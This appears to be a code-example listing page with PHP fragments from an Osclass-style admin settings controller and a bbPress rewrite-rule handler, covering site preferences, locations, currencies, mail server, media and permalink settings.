                            @unlink(osc_content_path() . 'uploads/' . $resource['pk_i_id'] . "." . $extension);
                            @unlink(osc_content_path() . 'uploads/' . $resource['pk_i_id'] . "_original." . $extension);
                            @unlink(osc_content_path() . 'uploads/' . $resource['pk_i_id'] . "_preview." . $extension);
                            @unlink(osc_content_path() . 'uploads/' . $resource['pk_i_id'] . "_thumbnail." . $extension);
                        }
                        // ....
                    } else {
                        // no es imagen o imagen sin extesión
                    }
                }
                osc_add_flash_ok_message(_m('Re-generation complete'), 'admin');
                $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=media');
                break;
            case 'update':
                // update index view
                $iUpdated = 0;
                $sPageTitle = Params::getParam('pageTitle');
                $sPageDesc = Params::getParam('pageDesc');
                $sContactEmail = Params::getParam('contactEmail');
                $sLanguage = Params::getParam('language');
                $sDateFormat = Params::getParam('dateFormat');
                $sCurrency = Params::getParam('currency');
                $sWeekStart = Params::getParam('weekStart');
                $sTimeFormat = Params::getParam('timeFormat');
                $sTimezone = Params::getParam('timezone');
                $sNumRssItems = Params::getParam('num_rss_items');
                $maxLatestItems = Params::getParam('max_latest_items_at_home');
                $numItemsSearch = Params::getParam('default_results_per_page');
                $contactAttachment = Params::getParam('enabled_attachment');
                $selectableParent = Params::getParam('selectable_parent_categories');
                $bAutoCron = Params::getParam('auto_cron');
                $bMarketSources = Params::getParam('market_external_sources') == 1 ? 1 : 0;
                // preparing parameters
                $sPageTitle = strip_tags($sPageTitle);
                $sPageDesc = strip_tags($sPageDesc);
                $sContactEmail = strip_tags($sContactEmail);
                $sLanguage = strip_tags($sLanguage);
                $sDateFormat = strip_tags($sDateFormat);
                $sCurrency = strip_tags($sCurrency);
                $sWeekStart = strip_tags($sWeekStart);
                $sTimeFormat = strip_tags($sTimeFormat);
                $sNumRssItems = (int) strip_tags($sNumRssItems);
                $maxLatestItems = (int) strip_tags($maxLatestItems);
                $numItemsSearch = (int) $numItemsSearch;
                $contactAttachment = $contactAttachment != '' ? true : false;
                $bAutoCron = $bAutoCron != '' ? true : false;
                $error = "";
                $msg = '';
                if (!osc_validate_text($sPageTitle)) {
                    $msg .= _m("Page title field is required") . "<br/>";
                }
                if (!osc_validate_text($sContactEmail)) {
                    $msg .= _m("Contact email field is required") . "<br/>";
                }
                if (!osc_validate_int($sNumRssItems)) {
                    $msg .= _m("Number of listings in the RSS has to be a numeric value") . "<br/>";
                }
                if (!osc_validate_int($maxLatestItems)) {
                    $msg .= _m("Max latest listings has to be a numeric value") . "<br/>";
                }
                if (!osc_validate_int($numItemsSearch)) {
                    $msg .= _m("Number of listings on search has to be a numeric value") . "<br/>";
                }
                if ($msg != '') {
                    osc_add_flash_error_message($msg, 'admin');
                    $this->redirectTo(osc_admin_base_url(true) . '?page=settings');
                }
                $iUpdated += Preference::newInstance()->update(array('s_value' => $sPageTitle), array('s_section' => 'osclass', 's_name' => 'pageTitle'));
                $iUpdated += Preference::newInstance()->update(array('s_value' => $sPageDesc), array('s_section' => 'osclass', 's_name' => 'pageDesc'));
                if (!defined('DEMO')) {
                    $iUpdated += Preference::newInstance()->update(array('s_value' => $sContactEmail), array('s_section' => 'osclass', 's_name' => 'contactEmail'));
                }
                $iUpdated += Preference::newInstance()->update(array('s_value' => $sLanguage), array('s_section' => 'osclass', 's_name' => 'language'));
                $iUpdated += Preference::newInstance()->update(array('s_value' => $sDateFormat), array('s_section' => 'osclass', 's_name' => 'dateFormat'));
                $iUpdated += Preference::newInstance()->update(array('s_value' => $sCurrency), array('s_section' => 'osclass', 's_name' => 'currency'));
                $iUpdated += Preference::newInstance()->update(array('s_value' => $sWeekStart), array('s_section' => 'osclass', 's_name' => 'weekStart'));
                $iUpdated += Preference::newInstance()->update(array('s_value' => $sTimeFormat), array('s_section' => 'osclass', 's_name' => 'timeFormat'));
                $iUpdated += Preference::newInstance()->update(array('s_value' => $sTimezone), array('s_section' => 'osclass', 's_name' => 'timezone'));
                $iUpdated += Preference::newInstance()->update(array('s_value' => $bMarketSources), array('s_section' => 'osclass', 's_name' => 'marketAllowExternalSources'));
                if (is_int($sNumRssItems)) {
                    $iUpdated += Preference::newInstance()->update(array('s_value' => $sNumRssItems), array('s_section' => 'osclass', 's_name' => 'num_rss_items'));
                } else {
                    if ($error != '') {
                        $error .= "</p><p>";
                    }
                    $error .= _m('Number of listings in the RSS must be an integer');
                }
                if (is_int($maxLatestItems)) {
                    $iUpdated += Preference::newInstance()->update(array('s_value' => $maxLatestItems), array('s_section' => 'osclass', 's_name' => 'maxLatestItems@home'));
                } else {
                    if ($error != '') {
                        $error .= "</p><p>";
                    }
                    $error .= _m('Number of recent listings displayed at home must be an integer');
                }
                $iUpdated += Preference::newInstance()->update(array('s_value' => $numItemsSearch), array('s_section' => 'osclass', 's_name' => 'defaultResultsPerPage@search'));
                $iUpdated += Preference::newInstance()->update(array('s_value' => $contactAttachment), array('s_name' => 'contact_attachment'));
                $iUpdated += Preference::newInstance()->update(array('s_value' => $bAutoCron), array('s_name' => 'auto_cron'));
                $iUpdated += Preference::newInstance()->update(array('s_value' => $selectableParent), array('s_name' => 'selectable_parent_categories'));
                if ($iUpdated > 0) {
                    if ($error != '') {
                        osc_add_flash_error_message($error . "</p><p>" . _m('General settings have been updated'), 'admin');
                    } else {
                        osc_add_flash_ok_message(_m('General settings have been updated'), 'admin');
                    }
                } else {
                    if ($error != '') {
                        osc_add_flash_error_message($error, 'admin');
                    }
                }
                $this->redirectTo(osc_admin_base_url(true) . '?page=settings');
                break;
            case 'check_updates':
                osc_admin_toolbar_update_themes(true);
                osc_admin_toolbar_update_plugins(true);
                osc_add_flash_ok_message(_m('Last check') . ':   ' . date("Y-m-d H:i"), 'admin');
                $this->redirectTo(osc_admin_base_url(true) . '?page=settings');
                break;
            case 'latestsearches':
                //calling the comments settings view
                $this->doView('settings/searches.php');
                break;
            case 'latestsearches_post':
                // updating comment
                if (Params::getParam('save_latest_searches') == 'on') {
                    Preference::newInstance()->update(array('s_value' => 1), array('s_name' => 'save_latest_searches'));
                } else {
                    Preference::newInstance()->update(array('s_value' => 0), array('s_name' => 'save_latest_searches'));
                }
                if (Params::getParam('customPurge') == '') {
                    osc_add_flash_error_message(_m('Custom number could not be left empty'), 'admin');
                    $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=latestsearches');
                } else {
                    Preference::newInstance()->update(array('s_value' => Params::getParam('customPurge')), array('s_name' => 'purge_latest_searches'));
                    osc_add_flash_ok_message(_m('Last search settings have been updated'), 'admin');
                    $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=latestsearches');
                }
                break;
            default:
                // calling the view
                $aLanguages = OSCLocale::newInstance()->listAllEnabled();
                $aCurrencies = Currency::newInstance()->listAll();
                $this->_exportVariableToView('aLanguages', $aLanguages);
                $this->_exportVariableToView('aCurrencies', $aCurrencies);
                $this->doView('settings/index.php');
                break;
        }
    }
예제 #7
0
         if ($value) {
             bb_update_option($option, $value);
         } else {
             bb_delete_option($option);
         }
     }
 }
 $mod_rewrite = (string) bb_get_option('mod_rewrite');
 $goback = remove_query_arg(array('updated', 'notapache', 'notmodrewrite'), wp_get_referer());
 // Make sure mod_rewrite is possible on the server
 if (!$is_apache) {
     bb_delete_option('mod_rewrite_writable');
     $goback = add_query_arg('notapache', 'true', $goback);
     bb_safe_redirect($goback);
     exit;
 } elseif ('0' !== $mod_rewrite && !apache_mod_loaded('mod_rewrite', true)) {
     bb_delete_option('mod_rewrite_writable');
     bb_update_option('mod_rewrite', '0');
     $goback = add_query_arg('notmodrewrite', 'true', $goback);
     bb_safe_redirect($goback);
     exit;
 }
 $file_target_rules = array();
 $file_target_exists = false;
 $file_target_writable = true;
 if (file_exists($file_target)) {
     if (is_readable($file_target)) {
         $file_target_rules = explode("\n", implode('', file($file_target)));
     }
     $file_target_exists = true;
     if (!is_writable($file_target)) {
예제 #8
0
 function doModel()
 {
     switch ($this->action) {
         case 'items':
             // calling the items settings view
             $this->doView('settings/items.php');
             break;
         case 'items_post':
             // update item settings
             $iUpdated = 0;
             $enabledRecaptchaItems = Params::getParam('enabled_recaptcha_items');
             $enabledRecaptchaItems = $enabledRecaptchaItems != '' ? true : false;
             $enabledItemValidation = Params::getParam('enabled_item_validation');
             $enabledItemValidation = $enabledItemValidation != '' ? true : false;
             $loggedUserItemValidation = Params::getParam('logged_user_item_validation');
             $loggedUserItemValidation = $loggedUserItemValidation != '' ? true : false;
             $regUserPost = Params::getParam('reg_user_post');
             $regUserPost = $regUserPost != '' ? true : false;
             $notifyNewItem = Params::getParam('notify_new_item');
             $notifyNewItem = $notifyNewItem != '' ? true : false;
             $notifyContactItem = Params::getParam('notify_contact_item');
             $notifyContactItem = $notifyContactItem != '' ? true : false;
             $notifyContactFriends = Params::getParam('notify_contact_friends');
             $notifyContactFriends = $notifyContactFriends != '' ? true : false;
             $enabledFieldPriceItems = Params::getParam('enableField#f_price@items');
             $enabledFieldPriceItems = $enabledFieldPriceItems != '' ? true : false;
             $enabledFieldImagesItems = Params::getParam('enableField#images@items');
             $enabledFieldImagesItems = $enabledFieldImagesItems != '' ? true : false;
             $iUpdated += Preference::newInstance()->update(array('s_value' => $enabledRecaptchaItems), array('s_name' => 'enabled_recaptcha_items'));
             $iUpdated += Preference::newInstance()->update(array('s_value' => $enabledItemValidation), array('s_name' => 'enabled_item_validation'));
             $iUpdated += Preference::newInstance()->update(array('s_value' => $loggedUserItemValidation), array('s_name' => 'logged_user_item_validation'));
             $iUpdated += Preference::newInstance()->update(array('s_value' => $regUserPost), array('s_name' => 'reg_user_post'));
             $iUpdated += Preference::newInstance()->update(array('s_value' => $notifyNewItem), array('s_name' => 'notify_new_item'));
             $iUpdated += Preference::newInstance()->update(array('s_value' => $notifyContactItem), array('s_name' => 'notify_contact_item'));
             $iUpdated += Preference::newInstance()->update(array('s_value' => $notifyContactFriends), array('s_name' => 'notify_contact_friends'));
             $iUpdated += Preference::newInstance()->update(array('s_value' => $enabledFieldPriceItems), array('s_name' => 'enableField#f_price@items'));
             $iUpdated += Preference::newInstance()->update(array('s_value' => $enabledFieldImagesItems), array('s_name' => 'enableField#images@items'));
             if ($iUpdated > 0) {
                 osc_add_flash_message(_m('Items\' settings have been updated'), 'admin');
             }
             $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=items');
             break;
         case 'comments':
             //calling the comments settings view
             $this->doView('settings/comments.php');
             break;
         case 'comments_post':
             // updating comment
             $iUpdated = 0;
             $enabledComments = Params::getParam('enabled_comments');
             $enabledComments = $enabledComments != '' ? true : false;
             $moderateComments = Params::getParam('moderate_comments');
             $moderateComments = $moderateComments != '' ? true : false;
             $numModerateComments = Params::getParam('num_moderate_comments');
             $notifyNewComment = Params::getParam('notify_new_comment');
             $notifyNewComment = $notifyNewComment != '' ? true : false;
             $iUpdated += Preference::newInstance()->update(array('s_value' => $enabledComments), array('s_name' => 'enabled_comments'));
             if ($moderateComments) {
                 $iUpdated += Preference::newInstance()->update(array('s_value' => $numModerateComments), array('s_name' => 'moderate_comments'));
             } else {
                 $iUpdated += Preference::newInstance()->update(array('s_value' => '-1'), array('s_name' => 'moderate_comments'));
             }
             $iUpdated += Preference::newInstance()->update(array('s_value' => $notifyNewComment), array('s_name' => 'notify_new_comment'));
             if ($iUpdated > 0) {
                 osc_add_flash_message(_m('Comments\' settings have been updated'), 'admin');
             }
             $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=comments');
             break;
         case 'users':
             // calling the users settings view
             $this->doView('settings/users.php');
             break;
         case 'users_post':
             // updating users
             $iUpdated = 0;
             $enabledUserValidation = Params::getParam('enabled_user_validation');
             $enabledUserValidation = $enabledUserValidation != '' ? true : false;
             $enabledUserRegistration = Params::getParam('enabled_user_registration');
             $enabledUserRegistration = $enabledUserRegistration != '' ? true : false;
             $enabledUsers = Params::getParam('enabled_users');
             $enabledUsers = $enabledUsers != '' ? true : false;
             $iUpdated += Preference::newInstance()->update(array('s_value' => $enabledUserValidation), array('s_name' => 'enabled_user_validation'));
             $iUpdated += Preference::newInstance()->update(array('s_value' => $enabledUserRegistration), array('s_name' => 'enabled_user_registration'));
             $iUpdated += Preference::newInstance()->update(array('s_value' => $enabledUsers), array('s_name' => 'enabled_users'));
             if ($iUpdated > 0) {
                 osc_add_flash_message(_m('Users\' settings have been updated'), 'admin');
             }
             $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=users');
             break;
         case 'locations':
             // calling the locations settings view
             $location_action = Params::getParam('type');
             $mCountries = new Country();
             switch ($location_action) {
                 case 'add_country':
                     // add country
                     if (!Params::getParam('c_manual')) {
                         $this->install_location_by_country();
                     } else {
                         $countryCode = Params::getParam('c_country');
                         $countryName = Params::getParam('country');
                         $countryLanguage = osc_language();
                         $exists = $mCountries->findByCode($countryCode);
                         if (!isset($exists['s_name'])) {
                             $data = array('pk_c_code' => $countryCode, 'fk_c_locale_code' => $countryLanguage, 's_name' => $countryName);
                             $mCountries->insert($data);
                             osc_add_flash_message(sprintf(__('%s has been added as a new country'), $countryName), 'admin');
                         } else {
                             osc_add_flash_message(sprintf(__('%s already was in the database'), $countryName), 'admin');
                         }
                     }
                     $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=locations');
                     break;
                 case 'edit_country':
                     // edit country
                     $newCountry = Params::getParam('e_country');
                     $oldCountry = Params::getParam('country_old');
                     $exists = $mCountries->findByName($newCountry);
                     $old_exists = $mCountries->findByName($oldCountry);
                     if (!isset($exists['pk_c_code']) || $exists['pk_c_code'] == $old_exists['pk_c_code']) {
                         $mCountries->update(array('s_name' => $newCountry), array('s_name' => $oldCountry));
                         osc_add_flash_message(sprintf(__('%s has been edited'), $newCountry), 'admin');
                     } else {
                         osc_add_flash_message(sprintf(__('%s already was in the database'), $newCountry), 'admin');
                     }
                     $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=locations');
                     break;
                 case 'delete_country':
                     // delete country
                     $countryId = Params::getParam('id');
                     // HAS ITEMS?
                     $has_items = Item::newInstance()->listWhere('l.fk_c_country_code = \'%s\' LIMIT 1', $countryId);
                     if (!$has_items) {
                         $mRegions = new Region();
                         $mCities = new City();
                         $aCountries = $mCountries->findByCode($countryId);
                         $aRegions = $mRegions->listWhere('fk_c_country_code =  \'' . $aCountries['pk_c_code'] . '\'');
                         foreach ($aRegions as $region) {
                             $mCities->delete(array('fk_i_region_id' => $region['pk_i_id']));
                             $mRegions->delete(array('pk_i_id' => $region['pk_i_id']));
                         }
                         $mCountries->delete(array('pk_c_code' => $aCountries['pk_c_code']));
                         osc_add_flash_message(sprintf(__('%s has been deleted'), $aCountries['s_name']), 'admin');
                     } else {
                         osc_add_flash_message(sprintf(__('%s can not be deleted, some items are located in it'), $aCountries['s_name']), 'admin');
                     }
                     $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=locations');
                     break;
                 case 'add_region':
                     // add region
                     if (!Params::getParam('r_manual')) {
                         $this->install_location_by_region();
                     } else {
                         $mRegions = new Region();
                         $regionName = Params::getParam('region');
                         $countryCode = Params::getParam('country_c_parent');
                         $exists = $mRegions->findByNameAndCode($regionName, $countryCode);
                         if (!isset($exists['s_name'])) {
                             $data = array('fk_c_country_code' => $countryCode, 's_name' => $regionName);
                             $mRegions->insert($data);
                             osc_add_flash_message(sprintf(__('%s has been added as a new region'), $regionName), 'admin');
                         } else {
                             osc_add_flash_message(sprintf(__('%s already was in the database'), $regionName), 'admin');
                         }
                     }
                     $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=locations');
                     break;
                 case 'edit_region':
                     // edit region
                     $mRegions = new Region();
                     $newRegion = Params::getParam('e_region');
                     $regionId = Params::getParam('region_id');
                     $exists = $mRegions->findByName($newRegion);
                     if (!$exists['pk_i_id'] || $exists['pk_i_id'] == $regionId) {
                         if ($regionId != '') {
                             $mRegions->update(array('s_name' => $newRegion), array('pk_i_id' => $regionId));
                             osc_add_flash_message(sprintf(__('%s has been edited'), $newRegion), 'admin');
                         }
                     } else {
                         osc_add_flash_message(sprintf(__('%s already was in the database'), $newRegion), 'admin');
                     }
                     $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=locations');
                     break;
                 case 'delete_region':
                     // delete region
                     $mRegion = new Region();
                     $mCities = new City();
                     $regionId = Params::getParam('id');
                     if ($regionId != '') {
                         $aRegion = $mRegion->findByPrimaryKey($regionId);
                         $mCities->delete(array('fk_i_region_id' => $regionId));
                         $mRegion->delete(array('pk_i_id' => $regionId));
                         osc_add_flash_message(sprintf(__('%s has been deleted'), $aRegion['s_name']), 'admin');
                     }
                     $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=locations');
                     break;
                 case 'add_city':
                     // add city
                     $mCities = new City();
                     $regionId = Params::getParam('region_parent');
                     $countryCode = Params::getParam('country_c_parent');
                     $newCity = Params::getParam('city');
                     $exists = $mCities->findByNameAndRegion($newCity, $regionId);
                     if (!isset($exists['s_name'])) {
                         $mCities->insert(array('fk_i_region_id' => $regionId, 's_name' => $newCity, 'fk_c_country_code' => $countryCode));
                         osc_add_flash_message(sprintf(__('%s has been added as a new city'), $newCity), 'admin');
                     } else {
                         osc_add_flash_message(sprintf(__('%s already was in the database'), $newCity), 'admin');
                     }
                     $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=locations');
                     break;
                 case 'edit_city':
                     // edit city
                     $mCities = new City();
                     $newCity = Params::getParam('e_city');
                     $cityId = Params::getParam('city_id');
                     $exists = $mCities->findByName($newCity);
                     if (!isset($exists['pk_i_id']) || $exists['pk_i_id'] == $cityId) {
                         $mCities->update(array('s_name' => $newCity), array('pk_i_id' => $cityId));
                         osc_add_flash_message(sprintf(__('%s has been edited'), $newCity), 'admin');
                     } else {
                         osc_add_flash_message(sprintf(__('%s already was in the database'), $newCity), 'admin');
                     }
                     $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=locations');
                     break;
                 case 'delete_city':
                     // delete city
                     $mCities = new City();
                     $cityId = Params::getParam('id');
                     $aCity = $mCities->findByPrimaryKey($cityId);
                     $mCities->delete(array('pk_i_id' => $cityId));
                     osc_add_flash_message(sprintf(__('%s has been deleted'), $aCity['s_name']), 'admin');
                     $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=locations');
                     break;
             }
             $aCountries = $mCountries->listAll();
             $this->_exportVariableToView('aCountries', $aCountries);
             $this->doView('settings/locations.php');
             break;
         case 'permalinks':
             // calling the permalinks view
             $htaccess = Params::getParam('htaccess_status');
             $file = Params::getParam('file_status');
             $this->_exportVariableToView('htaccess', $htaccess);
             $this->_exportVariableToView('file', $file);
             $this->doView('settings/permalinks.php');
             break;
         case 'permalinks_post':
             // updating permalinks option
             $htaccess_status = 0;
             $file_status = 0;
             $rewriteEnabled = Params::getParam('rewrite_enabled');
             $rewriteEnabled = $rewriteEnabled ? true : false;
             if ($rewriteEnabled) {
                 Preference::newInstance()->update(array('s_value' => '1'), array('s_name' => 'rewriteEnabled'));
                 require_once ABS_PATH . 'generate_rules.php';
                 $htaccess = '
 <IfModule mod_rewrite.c>
     RewriteEngine On
     RewriteBase ' . REL_WEB_URL . '
     RewriteRule ^index\\.php$ - [L]
     RewriteCond %{REQUEST_FILENAME} !-f
     RewriteCond %{REQUEST_FILENAME} !-d
     RewriteRule . ' . REL_WEB_URL . 'index.php [L]
 </IfModule>';
                 if (file_exists(osc_base_path() . '.htaccess')) {
                     $file_status = 1;
                 } else {
                     if (file_put_contents(osc_base_path() . '.htaccess', $htaccess)) {
                         $file_status = 2;
                     } else {
                         $file_status = 3;
                     }
                 }
                 if (apache_mod_loaded('mod_rewrite')) {
                     $htaccess_status = 1;
                     Preference::newInstance()->update(array('s_value' => '1'), array('s_name' => 'mod_rewrite_loaded'));
                 } else {
                     $htaccess_status = 2;
                     Preference::newInstance()->update(array('s_value' => '0'), array('s_name' => 'mod_rewrite_loaded'));
                 }
             } else {
                 $modRewrite = apache_mod_loaded('mod_rewrite');
                 Preference::newInstance()->update(array('s_value' => '0'), array('s_name' => 'rewriteEnabled'));
                 Preference::newInstance()->update(array('s_value' => '0'), array('s_name' => 'mod_rewrite_loaded'));
             }
             $redirectUrl = osc_admin_base_url(true) . '?page=settings&action=permalinks&htaccess_status=';
             $redirectUrl .= $htaccess_status . '&file_status=' . $file_status;
             $this->redirectTo($redirectUrl);
             break;
         case 'spamNbots':
             // calling the spam and bots view
             $this->doView('settings/spamNbots.php');
             break;
         case 'spamNbots_post':
             // updating spam and bots option
             $iUpdated = 0;
             $akismetKey = Params::getParam('akismetKey');
             $akismetKey = trim($akismetKey);
             $recaptchaPrivKey = Params::getParam('recaptchaPrivKey');
             $recaptchaPrivKey = trim($recaptchaPrivKey);
             $recaptchaPubKey = Params::getParam('recaptchaPubKey');
             $recaptchaPubKey = trim($recaptchaPubKey);
             $iUpdated += Preference::newInstance()->update(array('s_value' => $akismetKey), array('s_name' => 'akismetKey'));
             $iUpdated += Preference::newInstance()->update(array('s_value' => $recaptchaPrivKey), array('s_name' => 'recaptchaPrivKey'));
             $iUpdated += Preference::newInstance()->update(array('s_value' => $recaptchaPubKey), array('s_name' => 'recaptchaPubKey'));
             if ($iUpdated > 0) {
                 osc_add_flash_message(_m('Akismet and reCAPTCHA have been updated'), 'admin');
             }
             $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=spamNbots');
             break;
         case 'currencies':
             // currencies settings
             $currencies_action = Params::getParam('type');
             switch ($currencies_action) {
                 case 'add':
                     // calling add currency view
                     $this->doView('settings/add_currency.php');
                     break;
                 case 'add_post':
                     // adding a new currency
                     $currencyCode = Params::getParam('pk_c_code');
                     $currencyName = Params::getParam('s_name');
                     $currencyDescription = Params::getParam('s_description');
                     // cleaning parameters
                     $currencyName = strip_tags($currencyName);
                     $currencyDescription = strip_tags($currencyDescription);
                     $currencyCode = strip_tags($currencyCode);
                     $currencyCode = trim($currencyCode);
                     if (!preg_match('/^.{1,3}$/', $currencyCode)) {
                         osc_add_flash_message(_m('Error: the currency code is not in the correct format'), 'admin');
                         $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=currencies');
                     }
                     $fields = array('pk_c_code' => $currencyCode, 's_name' => $currencyName, 's_description' => $currencyDescription);
                     $isInserted = Currency::newInstance()->insert($fields);
                     if ($isInserted) {
                         osc_add_flash_message(_m('New currency has been added'), 'admin');
                     } else {
                         osc_add_flash_message(_m('Error: currency couldn\'t be added'), 'admin');
                     }
                     $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=currencies');
                     break;
                 case 'edit':
                     // calling edit currency view
                     $currencyCode = Params::getParam('code');
                     $currencyCode = strip_tags($currencyCode);
                     $currencyCode = trim($currencyCode);
                     if ($currencyCode == '') {
                         osc_add_flash_message(_m('Error: the currency code is not in the correct format'), 'admin');
                         $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=currencies');
                     }
                     $aCurrency = Currency::newInstance()->findByCode($currencyCode);
                     if (count($aCurrency) == 0) {
                         osc_add_flash_message(_m('Error: the currency doesn\'t exist'), 'admin');
                         $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=currencies');
                     }
                     $this->_exportVariableToView('aCurrency', $aCurrency);
                     $this->doView('settings/edit_currency.php');
                     break;
                 case 'edit_post':
                     // updating currency
                     $currencyName = Params::getParam('s_name');
                     $currencyDescription = Params::getParam('s_description');
                     $currencyCode = Params::getParam('pk_c_code');
                     // cleaning parameters
                     $currencyName = strip_tags($currencyName);
                     $currencyDescription = strip_tags($currencyDescription);
                     $currencyCode = strip_tags($currencyCode);
                     $currencyCode = trim($currencyCode);
                     if (!preg_match('/.{1,3}/', $currencyCode)) {
                         osc_add_flash_message(_m('Error: the currency code is not in the correct format'), 'admin');
                         $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=currencies');
                     }
                     $iUpdated = Currency::newInstance()->update(array('s_name' => $currencyName, 's_description' => $currencyDescription), array('pk_c_code' => $currencyCode));
                     if ($iUpdated == 1) {
                         osc_add_flash_message(_m('Currency has been updated'), 'admin');
                     }
                     $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=currencies');
                     break;
                 case 'delete':
                     // deleting a currency
                     $rowChanged = 0;
                     $aCurrencyCode = Params::getParam('code');
                     if (!is_array($aCurrencyCode)) {
                         osc_add_flash_message(_m('Error: the currency code is not in the correct format'), 'admin');
                         $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=currencies');
                     }
                     foreach ($aCurrencyCode as $currencyCode) {
                         if (preg_match('/.{1,3}/', $currencyCode) && $currencyCode != osc_currency()) {
                             $rowChanged += Currency::newInstance()->delete(array('pk_c_code' => $currencyCode));
                         }
                     }
                     $msg = '';
                     switch ($rowChanged) {
                         case '0':
                             $msg = __('No currencies have been deleted');
                             break;
                         case '1':
                             $msg = __('One currency has been deleted');
                             break;
                         default:
                             $msg = sprintf(__('%s currencies have been deleted'), $rowChanged);
                             break;
                     }
                     osc_add_flash_message($msg, 'admin');
                     $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=currencies');
                     break;
                 default:
                     // calling the currencies view
                     $aCurrencies = Currency::newInstance()->listAll();
                     $this->_exportVariableToView('aCurrencies', $aCurrencies);
                     $this->doView('settings/currencies.php');
                     break;
             }
             break;
         case 'mailserver':
             // calling the mailserver view
             $this->doView('settings/mailserver.php');
             break;
         case 'mailserver_post':
             // updating mailserver
             $iUpdated = 0;
             $mailserverAuth = Params::getParam('mailserver_auth');
             $mailserverAuth = $mailserverAuth != '' ? true : false;
             $mailserverType = Params::getParam('mailserver_type');
             $mailserverHost = Params::getParam('mailserver_host');
             $mailserverPort = Params::getParam('mailserver_port');
             $mailserverUsername = Params::getParam('mailserver_username');
             $mailserverPassword = Params::getParam('mailserver_password');
             $mailserverSsl = Params::getParam('mailserver_ssl');
             if (!in_array($mailserverType, array('custom', 'gmail'))) {
                 osc_add_flash_message(_m('Mail server type is incorrect'), 'admin');
                 $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=mailserver');
             }
             $iUpdated += Preference::newInstance()->update(array('s_value' => $mailserverAuth), array('s_name' => 'mailserver_auth'));
             $iUpdated += Preference::newInstance()->update(array('s_value' => $mailserverType), array('s_name' => 'mailserver_type'));
             $iUpdated += Preference::newInstance()->update(array('s_value' => $mailserverHost), array('s_name' => 'mailserver_host'));
             $iUpdated += Preference::newInstance()->update(array('s_value' => $mailserverPort), array('s_name' => 'mailserver_port'));
             $iUpdated += Preference::newInstance()->update(array('s_value' => $mailserverUsername), array('s_name' => 'mailserver_username'));
             $iUpdated += Preference::newInstance()->update(array('s_value' => $mailserverPassword), array('s_name' => 'mailserver_password'));
             $iUpdated += Preference::newInstance()->update(array('s_value' => $mailserverSsl), array('s_name' => 'mailserver_ssl'));
             if ($iUpdated > 0) {
                 osc_add_flash_message(_m('Mail server configuration has changed'), 'admin');
             }
             $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=mailserver');
             break;
         case 'media':
             // calling the media view
             $this->doView('settings/media.php');
             break;
         case 'media_post':
             // updating the media config
             $iUpdated = 0;
             $maxSizeKb = Params::getParam('maxSizeKb');
             $allowedExt = Params::getParam('allowedExt');
             $dimThumbnail = Params::getParam('dimThumbnail');
             $dimPreview = Params::getParam('dimPreview');
             $dimNormal = Params::getParam('dimNormal');
             $keepOriginalImage = Params::getParam('keep_original_image');
             // format parameters
             $maxSizeKb = strip_tags($maxSizeKb);
             $allowedExt = strip_tags($allowedExt);
             $dimThumbnail = strip_tags($dimThumbnail);
             $dimPreview = strip_tags($dimPreview);
             $dimNormal = strip_tags($dimNormal);
             $keepOriginalImage = $keepOriginalImage != '' ? true : false;
             $iUpdated += Preference::newInstance()->update(array('s_value' => $maxSizeKb), array('s_name' => 'maxSizeKb'));
             $iUpdated += Preference::newInstance()->update(array('s_value' => $allowedExt), array('s_name' => 'allowedExt'));
             $iUpdated += Preference::newInstance()->update(array('s_value' => $dimThumbnail), array('s_name' => 'dimThumbnail'));
             $iUpdated += Preference::newInstance()->update(array('s_value' => $dimPreview), array('s_name' => 'dimPreview'));
             $iUpdated += Preference::newInstance()->update(array('s_value' => $dimNormal), array('s_name' => 'dimNormal'));
             $iUpdated += Preference::newInstance()->update(array('s_value' => $keepOriginalImage), array('s_name' => 'keep_original_image'));
             if ($iUpdated > 0) {
                 osc_add_flash_message(_m('Media config has been updated'), 'admin');
             }
             $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=media');
             break;
         case 'contact':
             // calling the media view
             $this->doView('settings/contact.php');
             break;
         case 'contact_post':
             // updating the media config
             $enabled_attachment = Params::getParam('enabled_attachment');
             if ($enabled_attachment == '') {
                 $enabled_attachment = 0;
             } else {
                 $enabled_attachment = 1;
             }
             // format parameters
             $iUpdated = Preference::newInstance()->update(array('s_value' => $enabled_attachment), array('s_name' => 'contact_attachment'));
             if ($iUpdated > 0) {
                 osc_add_flash_message(_m('Contact configuration has been updated'), 'admin');
             }
             $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=contact');
             break;
         case 'cron':
             // viewing the cron view
             $this->doView('settings/cron.php');
             break;
         case 'cron_post':
             // updating cron config
             $iUpdated = 0;
             $bAutoCron = Params::getParam('auto_cron');
             $bAutoCron = $bAutoCron != '' ? true : false;
             $iUpdated += Preference::newInstance()->update(array('s_value' => $bAutoCron), array('s_name' => 'auto_cron'));
             if ($iUpdated > 0) {
                 osc_add_flash_message(_m('Cron config has been updated'), 'admin');
             }
             $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=cron');
             break;
         case 'update':
             // update index view
             $iUpdated = 0;
             $sPageTitle = Params::getParam('pageTitle');
             $sPageDesc = Params::getParam('pageDesc');
             $sContactEmail = Params::getParam('contactEmail');
             $sLanguage = Params::getParam('language');
             $sDateFormat = Params::getParam('dateFormat');
